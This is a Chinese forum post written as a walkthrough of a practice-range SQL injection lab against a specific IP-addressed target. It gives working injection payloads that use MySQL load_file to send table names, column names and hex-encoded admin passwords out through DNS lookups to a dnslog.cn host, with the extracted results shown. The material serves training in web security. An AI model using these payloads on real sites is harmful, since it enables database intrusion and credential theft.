DNS-log注入,靶场实操

alvyo   ·   发表于 2020-09-10 20:00:31   ·   闲聊灌水区

1.注入点寻找:
http://59.63.200.79:8022/cat/?id=1
id= 之后为经典注入点,其他类型的注入点还不了解

测试是否可注入sql语句:
id=1 得到正常页面
id=1 and 1=1 与正常页面一致
id=1 and 1=2 与正常界面不一致
判断sql语句可传到数据库执行,即为有注入漏洞

2.通过dns_log查看回显
构造语句之后,利用load_file函数访问远程dns服务器,而dns服务器会有一个log文件用来记录请求痕迹
这样查询的结果就可以通过log文件回显出来了

在渗透网站注入sql语句:id= 1 and (select load_file(‘//aaaccc.hhj536.dnslog.cn/1.txt’))
访问 http://dnslog.cn/ 网站,查看回显结果,回显结果为:aaaccc.hhj536.dnslog.cn 以及访问的ip即可

3.构造sql语句
mysql5.0之后可以通过系统自带的information_schema表查询到所有的数据库、表名、以及字段名
这几个记录的表分别为schemata、tables、columns
当然,当前数据库名可通过这个语句获取:select database();

查表名 (limit之后的0可通过不断修改1,2,3查看第二条第三条第四条记录)
select table_name from information_schema.tables where table_schema = database() limit 0,1

查字段名 (table_name需要通过查表名后填入需要查的表里面有什么字段)
select column_name from information_schema.columns where table_schema = database() and table_name = ‘表名’ limit 0,1

查内容 (汇总结果的时候,把要查哪张表哪个字段写清楚)
select 字段名 from 表名 limit 0,1

4.确定固定语句,开始查询
1 and (select load_file(concat(‘//‘,(这里填自己构造的sql语句),’.q07ixj.dnslog.cn/1.txt’)))

查询表名:
1 and (select load_file(concat(‘//‘,(select table_name from information_schema.tables where table_schema = database() limit 0,1),’.q07ixj.dnslog.cn/1.txt’)))
结果1:admin
结果2:news
只有两个结果,即只有两张表

查询字段:
1 and (select load_file(concat(‘//‘,(select column_name from information_schema.columns where table_schema = database() and table_name = ‘admin’ limit 0,1),’.q07ixj.dnslog.cn/1.txt’)))
结果1:id
结果2:username
结果3:password
先从最可能的表开始查,先查admin表,以及下一步要查password字段里的内容

查内容:
1 and (select load_file(concat(‘//‘,(select hex(password) from admin limit 0,1),’.q07ixj.dnslog.cn/1.txt’)))
结果1:bucuoyou
结果2:FlaG-biubiu
查询密码通过hex编码后再解密,就能保证得到正确的大小写
靶场通过

用户名金币积分时间理由
柳三生 5.00 0 2021-09-18 19:07:27 一个受益终生的帖子~~

打赏我,让我更有动力~

0 条回复   |  直到 2020-9-10 | 1552 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.